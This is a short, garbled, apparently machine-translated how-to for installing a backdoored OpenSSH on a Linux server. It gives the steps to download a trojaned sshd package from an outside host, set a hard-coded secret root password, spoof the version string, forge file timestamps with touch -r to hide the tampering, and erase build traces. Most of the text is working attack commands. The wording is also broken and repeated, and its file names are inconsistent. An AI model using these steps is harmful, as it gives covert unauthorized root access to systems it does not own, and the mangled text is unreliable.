Remember to replace the ssh version with the original version number. Remember to restore the date of some files. This backdoor is okay. the root account can have two passwords without affecting the normal login of the Administrator. in the primary des. h, change the password, and then compile and install it. the details are as follows. at the bottom. howtoinstall ---------------- shell-# wgethtt
Remember to replace the ssh version with the original version number. Remember to restore the date of some files. This backdoor is still possible. It allows the root account to have two passwords without affecting the normal login of the Administrator.
InNcChange the password in ludes. h and then compile and install it. The detailed description is as follows.
How to install
----------------
Shell-# wget http://www.linuxso.com/linuxexp/ssh.tar.gz
Shell-# tar zxvf sshbd. tgz
Shell -#CdOpenssh
Edit version. h likes the current version of ssh running on the box
# Define SSH_VERSION "OpenSSH_4.2" --> you 'veEdIt OpenSSH_4.2
Edit includes. h, specify your backdoor password
# Define _ SECRET_PASSWD "q1w2e3r4t5:)"-> edit as u wish
Shell-#./configure -- prefix =/usr -- sysconfdir =/etc/ssh
Shell-# make & make install
Shell -#CpSsh_config sshd_config/etc/ssh/
Shell-#/etc/init. d/sshd restart
FINISH,TrY logged in to the box "ssh-l root "
Enter your backdoor password.
Boom, now you're re root
Wget http://www.linuxso.com/linuxExP/ssh.tar.gz
Tar zxvf sshbd. tgz
Cd openssh
Vi version. h
# Define SSH_VERSION "OpenSSH_4.2" --> you 've to edit OpenSSH_4.2
Vi des. h
# Define _ SECRET_PASSWD "q1w2e3r4t5:)"-> edit as u wish
Cp/etc/ssh/sshd_config/etc/ssh/sshd_config.pub
Cp/etc/ssh/ssh_config/etc/ssh/ssh_config.pub
Touch-R/etc/ssh/sshd_config/etc/ssh/sshd_config.pub
Touch-r/etc/ssh/ssh_config/etc/ssh/ssh_config.pub
Cp/usr/bin/ssh-keypub
Touch-r/usr/bin/ssh-keypub
./Configure -- prefix =/usr -- sysconfdir =/etc/ssh
Make & make install
Cp ssh_config sshd_config/etc/ssh/
Cd ..
Rm-Rf./ssh *
Rm-rf openssh
Diff/Etc/ssh/sshd_config/etc/ssh/sshd_config.pub
Vi sshd_config
Diff/etc/ssh/ssh_config/etc/ssh/ssh_config.pub
Vi ssh_config
Touch-r/etc/ssh/sshd_config.pub/etc/ssh/sshd_config
Touch-r/etc/ssh/ssh_config.pub/etc/ssh/ssh_config
Touch-r/usr/bin/ssh-keypub/usr/bin/ssh *
/Etc/init. d/sshd restart